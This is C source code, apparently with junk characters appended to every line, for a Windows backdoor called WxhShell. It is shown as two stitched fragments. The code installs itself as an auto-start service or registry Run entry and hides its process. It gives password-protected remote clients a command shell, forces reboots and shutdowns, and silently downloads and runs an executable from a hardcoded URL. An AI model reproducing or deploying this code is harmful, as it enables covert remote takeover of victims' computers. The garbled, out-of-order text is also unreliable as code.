    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DEQ7u`6  
    if(Boot(SHUTDOWN)) 5_[we1$P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,D^fVIw  
    else { [;pL15-}4  
    closesocket(wsh); )ZMR4U$+v  
    ExitThread(0); 'pHxO,vo  
    } fo_*Uva_  
    break; *q*$%H  
    } U.pGp]\Q)G  
  // 获取shell H Xb_k1n  
  case 's': { D}OhmOu 3  
    CmdShell(wsh); f/vsf&^O  
    closesocket(wsh); YZZog6%  
    ExitThread(0); FyWrb+_0v  
    break; Vs9]Gm  
  } & R,QJ4L  
  // 退出 $Ned1@%[  
  case 'x': { NJmyp!8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ziXI$B4-  
    CloseIt(wsh); "]}?{2i;  
    break; v!j%<H`NI  
    } ddwokXx (  
  // 离开 .\7AJB\l  
  case 'q': { 30b dcDm,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w ,-4A o2x  
    closesocket(wsh); 4l@aga  
    WSACleanup(); 'xu! t'l&  
    exit(1); /pL'G`  
    break; I_is3y0  
        } N6BEl55 &  
  } .RpWE.C  
  } Rnw v/)  
l{Xy %8  
  // 提示信息 o('6,D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6E$ET5p&l  
} GI%9Tif  
  } ^+}~"nvD  
sMcN[r  
  return; :8U@KABH@h  
} T/?C_i  
[6CWgQ%Ue  
// shell模块句柄 Q6r7UM  
int CmdShell(SOCKET sock) ~iJ@x;`  
{ NdB:2P  
STARTUPINFO si; ?:3rVfO  
ZeroMemory(&si,sizeof(si)); zYEb#*Kar  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i2Sh^\Xw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .$xTX'  
PROCESS_INFORMATION ProcessInfo; r85j /YK  
char cmdline[]="cmd"; DpIk$X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %[OZ;q& X  
  return 0; COcS w  
} FO)`&s"&2  
$1n\jN  
// 自身启动模式 pE 6r7  
int StartFromService(void) DI=?{A  
{ ?&bB?mg\  
typedef struct -*;JUSGh  
{ V82hk0*j  
  DWORD ExitStatus; V eLGxc  
  DWORD PebBaseAddress; }^azj>p5  
  DWORD AffinityMask; i!+0''i{#  
  DWORD BasePriority; Is>~P*2Y=  
  ULONG UniqueProcessId; Dyh|F\T  
  ULONG InheritedFromUniqueProcessId; @"n]v)[4  
}   PROCESS_BASIC_INFORMATION; hlGrnL  
c"pu"t@/Z  
PROCNTQSIP NtQueryInformationProcess; y)b=7sU  
b5W(}ka+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8>[o. xV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;]_h")4"c  
"B0I$`~wu  
  HANDLE             hProcess; 3zzl|+# 6  
  PROCESS_BASIC_INFORMATION pbi; "ed A  
^<Zye>KO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \`-a'u=S  
  if(NULL == hInst ) return 0; ]l6niYVB2  
j>Cp4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (1Klj+"p%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,OBJ>_5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5?|yYQM0tK  
ilwIqj  
  if (!NtQueryInformationProcess) return 0; n"f: 6|<  
R+ tQvxp#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I[bWd{i:  
  if(!hProcess) return 0; KB8_yo{y  
wS+j^ ;"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]r>m{"~E  
d bHxc@H  
  CloseHandle(hProcess); 5?8jj  
&)!4rABn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 64t:  
if(hProcess==NULL) return 0; &p5^Cjy L  
'?d5L+9  
HMODULE hMod; 1:Wl/9mL  
char procName[255]; }B&+KO)  
unsigned long cbNeeded; *`V r P  
bkiMF$K,K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /]9(InM9/  
OXF/4Oe  
  CloseHandle(hProcess); oVY_|UujG  
a2B9 .;F  
if(strstr(procName,"services")) return 1; // 以服务启动 .-GC,&RO  
S+GW}?!  
  return 0; // 注册表启动 qEfg-`*M  
} t4+bRmS`_  
pI( H7 (  
// 主模块 CQH^VTQ  
int StartWxhshell(LPSTR lpCmdLine) d^I:{Ii'  
{ VM w[M^  
  SOCKET wsl; yQ| V7G  
BOOL val=TRUE; Q$A;Fk}-  
  int port=0; IgPU^?sp  
  struct sockaddr_in door;  Vsd4;  
:"`1}Q  
  if(wscfg.ws_autoins) Install(); p%IVWeZnx  
zA8Tp8(  
port=atoi(lpCmdLine);  ](>YjE0  
rAS2qt  
if(port<=0) port=wscfg.ws_port; 90gKGyxF  
bpdluWS+)  
  WSADATA data; U9"Ij}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `bW0Va N  
]P)2Q!X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~LJtlJ 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j<}y(~  
  door.sin_family = AF_INET; 1aoKf F(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :a_MT  
  door.sin_port = htons(port); '3 JVUHn  
Wx8n)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B*n_ VBd  
closesocket(wsl); ;TboS-Y  
return 1; Xuj=V?5  
} PKYm{wO-  
J/\^3rCB  
  if(listen(wsl,2) == INVALID_SOCKET) { T 2Gscey  
closesocket(wsl); +HoCG;C{  
return 1; #-kx$(''V  
} ~>rn q7j  
  Wxhshell(wsl); A#nSK#wS61  
  WSACleanup(); :xC1Ka%~  
*OHaqe(*  
return 0; LcGG~P|ML  
G1ED=N_#  
} 3<}r+,j  
9''x'E=|  
// 以NT服务方式启动 ;qaNIOo9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bH.f4-.u>)  
{ vGD D  
DWORD   status = 0; {emym$we  
  DWORD   specificError = 0xfffffff; Sb?HRoe_  
Je=k.pO1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YeB)]$'?u`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %+L3Xk]m'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `ex>q  
  serviceStatus.dwWin32ExitCode     = 0; XF`?5G~~#  
  serviceStatus.dwServiceSpecificExitCode = 0; j~#v*qmDU  
  serviceStatus.dwCheckPoint       = 0; vd0uI#g%#  
  serviceStatus.dwWaitHint       = 0; L^??*XEUJ  
Nj+g Sa9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SlD7 \X&~  
  if (hServiceStatusHandle==0) return; D()tP  
Vs, &  
status = GetLastError(); >44,Dp]  
  if (status!=NO_ERROR) $TFWum9wO  
{ im"3n=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |[MtUWEW  
    serviceStatus.dwCheckPoint       = 0; Sw~L M&A  
    serviceStatus.dwWaitHint       = 0;  |I s"ov  
    serviceStatus.dwWin32ExitCode     = status; !^qpV7./l  
    serviceStatus.dwServiceSpecificExitCode = specificError; (RI+4V1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Er)|YP  
    return; Imz1"+E~  
  } yu$xQ~ o  
8P*wt'Q$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~iU@ns|g\  
  serviceStatus.dwCheckPoint       = 0; AQgm]ex<  
  serviceStatus.dwWaitHint       = 0; mZ#h p}\.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aa/_:V@$~  
} .12H/F  
Q =4~u z|  
// 处理NT服务事件,比如:启动、停止 }/M`G]wT#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +lw*/\7  
{ Sv[$.^mb  
switch(fdwControl) ;!pJ %p0Sc  
{ @8U8>'zDE  
case SERVICE_CONTROL_STOP: `W'S'?$  
  serviceStatus.dwWin32ExitCode = 0; YguY5z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `_ )5K u}  
  serviceStatus.dwCheckPoint   = 0; {{ +8oRzY  
  serviceStatus.dwWaitHint     = 0; xv 0y?#`z  
  { iKAqM{(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jF|LPWl  
  } TJz} 8-#t  
  return; yIqRSqM  
case SERVICE_CONTROL_PAUSE: Mb(hdS90  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IS%e5  
  break; W>J1JaO  
case SERVICE_CONTROL_CONTINUE: /R[P sB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @+; cFj  
  break; uF<\|y rFt  
case SERVICE_CONTROL_INTERROGATE: BD&AtOj[,  
  break;  #-K,,"  
}; NU.YL1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/kfbV-b  
} \ bv JZ_  
# &Z1d(!  
// 标准应用程序主函数 XseP[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zN7Ou .  
{ apv"s+  
i z dJ,8  
// 获取操作系统版本 ~Ut?'}L( d  
OsIsNt=GetOsVer(); AqjEz+TVt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [<IJ{yfx  
okLhe F  
  // 从命令行安装 mZ4I}_\,  
  if(strpbrk(lpCmdLine,"iI")) Install(); I0(nRu<  
|eH*Q%M  
  // 下载执行文件 trM)&aQto  
if(wscfg.ws_downexe) { og8"#%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + wF5(  
  WinExec(wscfg.ws_filenam,SW_HIDE); T*zy^we  
} -SKcS#IF  
`g:bvIV5x>  
if(!OsIsNt) { UszR. Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 +3k#M[Bn}  
HideProc(); k~pbXA*u  
StartWxhshell(lpCmdLine); BnIZ+fg=  
} :1e'22[=.  
else Oy~X@A  
  if(StartFromService()) l&6+ykQ  
  // 以服务方式启动 $jL+15^N0+  
  StartServiceCtrlDispatcher(DispatchTable); 0xpE+GY  
else {iq)[)n  
  // 普通方式启动 _43 :1!os  
  StartWxhshell(lpCmdLine); PZSi}j/  
21.N+H'  
return 0; +y|H#(wBP  
} BV6 U -  
i0*6o3h  
8ubb~B;  
2[yfo8H  
=========================================== s&Ml1 A:  
b'TkYa^  
7wwlZ;w  
_:.'\d(  
R*z:+p}oHy  
9$e6?<`(Y  
" ulxy 4] h  
7s.vJdA]6  
#include <stdio.h> HLp'^  
#include <string.h> Gt5'-Hyo  
#include <windows.h> yB,{:kq7D  
#include <winsock2.h> "xY]&  
#include <winsvc.h> i 79;;9M  
#include <urlmon.h> wNhtw'E8  
Xw{Qktn  
#pragma comment (lib, "Ws2_32.lib") TrC :CL  
#pragma comment (lib, "urlmon.lib")  *"K7<S[  
Fg -4u&Ik  
#define MAX_USER   100 // 最大客户端连接数 _!C'oG6s?  
#define BUF_SOCK   200 // sock buffer Yeb-u+23  
#define KEY_BUFF   255 // 输入 buffer $Y31Y A  
coFQu ; i  
#define REBOOT     0   // 重启 K18Sj,]B  
#define SHUTDOWN   1   // 关机 O^yD b  
H`X>  
#define DEF_PORT   5000 // 监听端口 > ;zQ.2*  
XH{P@2~l  
#define REG_LEN     16   // 注册表键长度 b~<Tgo_/jf  
#define SVC_LEN     80   // NT服务名长度 qLh[BR  
_4h[q4Z  
// 从dll定义API H@!kgaNF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YsXf+_._  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sQ8_j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qGPIKu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }iCcXZ&5^  
>Lr ud{  
// wxhshell配置信息 "=ogO/_Q"  
struct WSCFG { _|%l) KO  
  int ws_port;         // 监听端口 4c/.#?  
  char ws_passstr[REG_LEN]; // 口令 U6Ws#e  
  int ws_autoins;       // 安装标记, 1=yes 0=no G0VbW-`O  
  char ws_regname[REG_LEN]; // 注册表键名 )/ 2J|LxS  
  char ws_svcname[REG_LEN]; // 服务名 !>Ru= $9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K{#1O=Gi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m?#J`?E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r%DaBx!x8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L-\o zp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R" '=^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zP$Ef7bB  
4|[)D/N  
}; K4>nBvZ?v  
1}"PLq(  
// default Wxhshell configuration !-gjA@Pk  
struct WSCFG wscfg={DEF_PORT, cw)'vAE  
    "xuhuanlingzhe", )]~;A c^x  
    1, .*>pD/  
    "Wxhshell", wX!>&Gc.  
    "Wxhshell", :0)nL  
            "WxhShell Service", |?KdQeL  
    "Wrsky Windows CmdShell Service", WOaj_o  
    "Please Input Your Password: ", ahJu+y  
  1, jJfV_#'N'  
  "http://www.wrsky.com/wxhshell.exe", IR<`OA  
  "Wxhshell.exe" )Ap0" ?q  
    }; C)|{7W  
Rw9 *!<Izt  
// 消息定义模块 NtnKS@Ht  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,{_;q:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9/nS?>11  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q:4euhz*  
char *msg_ws_ext="\n\rExit."; (2vf <x  
char *msg_ws_end="\n\rQuit."; 6+;B2;*3  
char *msg_ws_boot="\n\rReboot..."; %G%D[ i]  
char *msg_ws_poff="\n\rShutdown..."; (GNY::3  
char *msg_ws_down="\n\rSave to "; Ea7LPHE#  
}N6r/ VtOQ  
char *msg_ws_err="\n\rErr!"; iKu~o.yy  
char *msg_ws_ok="\n\rOK!"; TT0~41&l  
%bs~%6)  
char ExeFile[MAX_PATH]; xNaDzu"  
int nUser = 0; &xGcxFd  
HANDLE handles[MAX_USER]; Nhm)bdv]  
int OsIsNt; pzPm(M1^X  
=H\ig%%E@  
SERVICE_STATUS       serviceStatus; < x==T4n/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9W[ ~c"Ku  
wv eej@zs  
// 函数声明 %HNe"7gk  
int Install(void); -brn&1oJ  
int Uninstall(void); B[I a8t  
int DownloadFile(char *sURL, SOCKET wsh); =n}+p>\s  
int Boot(int flag); ?_+h+{/@B  
void HideProc(void); iB:](Md'r  
int GetOsVer(void); 3]X~bQAw  
int Wxhshell(SOCKET wsl); VZ:L K  
void TalkWithClient(void *cs); /4R|QD  
int CmdShell(SOCKET sock); H#LlxD)q  
int StartFromService(void); _qPd)V6yb  
int StartWxhshell(LPSTR lpCmdLine); QE.a2 }  
T%\f$jh6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f[b x|6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MMI7FlfY  
F^v <z)x  
// 数据结构和表定义 )$Erfu  
SERVICE_TABLE_ENTRY DispatchTable[] = Hz&.]yts2J  
{ &mM[q 'V  
{wscfg.ws_svcname, NTServiceMain}, 0PK*ULwSN  
{NULL, NULL} 42Gv]X  
}; GV5hmDzRs  
dz6i~&  
// 自我安装 #_, l7q8U  
int Install(void) j>5D4}*]f  
{ Z5vpo$l  
  char svExeFile[MAX_PATH]; jtMN)TM  
  HKEY key; <oE(I)r4,  
  strcpy(svExeFile,ExeFile); ZS-O,[  
-qPYm?$  
// 如果是win9x系统,修改注册表设为自启动 `xO9xo#  
if(!OsIsNt) { g]=w_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X\I"%6$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -L&FguoVB  
  RegCloseKey(key); !Ol>![  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BJM_kKH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J&xH "U  
  RegCloseKey(key); gCMwmanX  
  return 0; \` |*i$  
    } | 'SqG}h  
  } =)B@`"  
} ]"3(UKx  
else { S z3@h"  
8TK&i,  
// 如果是NT以上系统,安装为系统服务 FM c9oyU~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .@Z-<P"  
if (schSCManager!=0) y] Io`w(>  
{ wX3x.@!:  
  SC_HANDLE schService = CreateService }*2q7K2bj  
  ( m)A~1+M$)L  
  schSCManager, Yy4? |wVl  
  wscfg.ws_svcname, yW&|ZJF?  
  wscfg.ws_svcdisp, ~*|0yPFg  
  SERVICE_ALL_ACCESS, 7*e7P[LQU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zd/ACZ[  
  SERVICE_AUTO_START, pU4 B6KTW  
  SERVICE_ERROR_NORMAL, IH;+pN  
  svExeFile, 0L "+,  
  NULL, V@0Z\&  
  NULL, fIo7R-XP  
  NULL, F[Dhj,C"  
  NULL, !5rja-h  
  NULL SBBDlr^P  
  ); E6iUa'  
  if (schService!=0) ('/5#^%R  
  { =?U"#a  
  CloseServiceHandle(schService); ;%r#p v~  
  CloseServiceHandle(schSCManager); 2Uf}gG)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9/rX%  
  strcat(svExeFile,wscfg.ws_svcname); S7cxEOfAu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Y.25$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;><9R@0  
  RegCloseKey(key); >&K1+FSmyJ  
  return 0; %Lec\(-4L  
    } 6{rH|Z  
  } ~/hyf]*j  
  CloseServiceHandle(schSCManager); u:+wuyu  
} #P,mZ}G\  
}  fL9R{=I%  
0*66m:C2  
return 1; p?OwcMT]M  
} 8iTX}$t\{  
P 0xInW F  
// 自我卸载 |];s[^$#  
int Uninstall(void) zbt>5S_  
{ "Jw6.q+  
  HKEY key; 6,j6,Q(67  
9W ng(ef6G  
if(!OsIsNt) { rA9BY :N@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #t /.fd  
  RegDeleteValue(key,wscfg.ws_regname); 73?ZB+\)0A  
  RegCloseKey(key); }-H<wQ&x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \S(:O8_"68  
  RegDeleteValue(key,wscfg.ws_regname); 5_U3Fs  
  RegCloseKey(key); _@3?yv~ D  
  return 0; JV|GE n\@N  
  } |r"1 &ow5  
}  WDr'w'  
} yZ t}Jnv  
else { X%7Y\|  
l^x5m]Kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >&h#t7<  
if (schSCManager!=0) AY['!&T  
{ `X8AM=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wrq0fHwM  
  if (schService!=0) * ";A~XNx  
  { $a(EF 6  
  if(DeleteService(schService)!=0) { lJ!+n<K+  
  CloseServiceHandle(schService); iivuH2/~?[  
  CloseServiceHandle(schSCManager); :. B};;N  
  return 0; @)mH"u!(7  
  } ` INcZr"  
  CloseServiceHandle(schService); CW>f;  
  } aF4vNUeG  
  CloseServiceHandle(schSCManager); V2kNJwwk  
} }?xu/C  
} g:MpN^l  
=BpX;n <  
return 1; O.S(H1z<G  
} j;eR9jI$T  
{,p<!Jq~G  
// 从指定url下载文件 (NUwkAO M}  
int DownloadFile(char *sURL, SOCKET wsh) Z++JmD1J  
{ Oa=0d;_  
  HRESULT hr; 4`uI)N(}*  
char seps[]= "/"; -?n|kSHX  
char *token; ZK4/o  
char *file; s<x2*yVUA  
char myURL[MAX_PATH]; l=%v  
char myFILE[MAX_PATH]; w~sr2;rp<  
6JBE=9d-Q  
strcpy(myURL,sURL); +~RiCZt  
  token=strtok(myURL,seps); {4tJT25  
  while(token!=NULL) rwr>43S5<3  
  { k0.|%0?K  
    file=token; Y( n# =  
  token=strtok(NULL,seps);  g!5`R`7  
  } h_L-M}{OG  
g9I2 e<;o  
GetCurrentDirectory(MAX_PATH,myFILE); q?'*T?|  
strcat(myFILE, "\\"); [#V?]P\uV  
strcat(myFILE, file); 09pnM|8A  
  send(wsh,myFILE,strlen(myFILE),0); %{s<h6{R  
send(wsh,"...",3,0); +/*,%TdQ4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %gDMz7$~  
  if(hr==S_OK) '"Q;54S**  
return 0; [5^"U+`{x  
else d(zBd=;  
return 1; Hj"`z6@7  
GGsDR%U  
} u-0-~TwD  
a=\r~Z7E  
// 系统电源模块 Au08k}h<G  
int Boot(int flag) uG@Nubdwuy  
{ Dsc{- <v  
  HANDLE hToken; N=lFf+  
  TOKEN_PRIVILEGES tkp; XfmPq'#Z  
}$r/#F/Fn  
  if(OsIsNt) { Fu:VRul=5$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |T0jq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;QQLYT  
    tkp.PrivilegeCount = 1; &wr0HrE\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Sg4>tp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > !k  
if(flag==REBOOT) { W>+\A"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =m6;]16D  
  return 0; -bT1Qh X  
}  +T02AS  
else { `Et)@{iP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Y{fah  
  return 0; ] P;Ng=a  
} @DG$  
  } Xc -'&"  
  else { tb#. Y  
if(flag==REBOOT) { $lmGMljF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xl^=&!S>me  
  return 0; :G\f(2@  
} "pGSz%i-  
else { cX u"-/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /pni_-l*  
  return 0; uQgv ;jsPz  
} qg6283'?  
} X}C }  
<hazrKUn  
return 1; wd&Tf R4!  
} Kt5;GUV  
/f2HZfj  
// win9x进程隐藏模块 fH[Yc>(oj  
void HideProc(void)  >sk vg  
{ 7kJ =C  
j}~3m$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _GSl}\  
  if ( hKernel != NULL ) MBZ/Pzl~  
  { 2Ur9*#~kGp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #5*|/LD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HAJK%zLc  
    FreeLibrary(hKernel); dNd(57  
  } C{7 j<O  
CtiTXDc_  
return; 'o41)p  
} c!n\?lB  
@ov*Fh  
// 获取操作系统版本 ; C/:$l  
int GetOsVer(void) GcXh V  
{ 8XFs)1s[  
  OSVERSIONINFO winfo; h8#14?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;la sk4|  
  GetVersionEx(&winfo); ! *Snx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i> }P V  
  return 1; !>gi9z,  
  else T \d-r#{  
  return 0; 53>y<  
} x93t.5E6  
z^;0{q,  
// 客户端句柄模块 'vbrzI5m  
int Wxhshell(SOCKET wsl) `r?xo7  
{ !kAjne8]d  
  SOCKET wsh; #6w\r&R6  
  struct sockaddr_in client; prJ]u H,  
  DWORD myID; &d1|B`gL|  
1>5l(zK!9  
  while(nUser<MAX_USER) <:(p nw*L  
{ S.G"*'N  
  int nSize=sizeof(client); Yi?X|"\`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %9 kOl  
  if(wsh==INVALID_SOCKET) return 1; LBO3){=J  
B4fMD]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O}$@|w(8;  
if(handles[nUser]==0) Y8$Y]2  
  closesocket(wsh); \OR=+\].9  
else =EE>QM  
  nUser++; ^r4@C2#vzJ  
  } wlSl ~A/s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #Tm^$\*h\]  
DjzHEqiH  
  return 0; 5~BM+ja  
} ?%)G%2  
>"Tivc5  
// 关闭 socket p]z< 43O$  
void CloseIt(SOCKET wsh) 'aj97b;lpG  
{ 0j@nOj(3  
closesocket(wsh); nw.,`M,N  
nUser--; h mijp1u  
ExitThread(0); $-x@P9im  
} ?o0ro?9j  
.k_> BD];  
// 客户端请求句柄 O{P@fv%~(o  
void TalkWithClient(void *cs) B<V8:vOam  
{ gfr y5e  
CP5vo-/)-  
  SOCKET wsh=(SOCKET)cs; __B`0t  
  char pwd[SVC_LEN]; q:iB}ch5R  
  char cmd[KEY_BUFF]; 3izGMH_`  
char chr[1]; s2IjZF{  
int i,j; H!H&<71-  
\E}YtN#  
  while (nUser < MAX_USER) { lMn1e6~K  
NZ{)&ObBRt  
if(wscfg.ws_passstr) { \w6A-daD0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VM.4w.})_E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E((U=P}+g  
  //ZeroMemory(pwd,KEY_BUFF); \vKK q/f  
      i=0; f3[/zcm;  
  while(i<SVC_LEN) { ?QbxC,& i  
F"G]afI9+  
  // 设置超时 }{oZdO  
  fd_set FdRead; $;k2b4u  
  struct timeval TimeOut; Qp?+G~*  
  FD_ZERO(&FdRead); ^yl)c \`  
  FD_SET(wsh,&FdRead); 5LYzX+a)  
  TimeOut.tv_sec=8; U8||)  +  
  TimeOut.tv_usec=0; NKX,[o1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s MZ90Q$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QTC-W2t]  
ntZl(]l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .)Wqo7/Gx  
  pwd=chr[0]; #a$k3C  
  if(chr[0]==0xd || chr[0]==0xa) { uOv0ut\\G  
  pwd=0; ab@1JAgs  
  break; wf,B/[,d  
  } cYeC7l "  
  i++; zP`&X:8  
    } g> <*qd?t  
# fe%E.  
  // 如果是非法用户,关闭 socket >Ohh) $  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?D,8lABkT  
} !k}]`z^d  
XwlF[3VbiX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UG,<\k&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @dHQ}Ni  
l |Y?]LNr  
while(1) { Lk>GEi|  
VUQx"R9-  
  ZeroMemory(cmd,KEY_BUFF); eKv{N\E  
)wb&kug -  
      // 自动支持客户端 telnet标准   9e _8Z@|  
  j=0; K1oSoD8c  
  while(j<KEY_BUFF) { AEw~LF2w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yp@i{$IUW  
  cmd[j]=chr[0]; VX+:C(m~  
  if(chr[0]==0xa || chr[0]==0xd) { 6qF9+r&e ?  
  cmd[j]=0; 1(`UzC=R|  
  break; D>`lN  
  } gc[BP>tl\  
  j++; $%"?0S  
    } T[\?fSP  
|qq7vx  
  // 下载文件 J;#7dRW{  
  if(strstr(cmd,"http://")) { U^~jB= =]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @@pI>~#zh  
  if(DownloadFile(cmd,wsh)) XnNU-UCX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4.&hV?Kxz  
  else XR@C^d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hTS?+l  
  } UgC{  
  else { NA-)7i*>J  
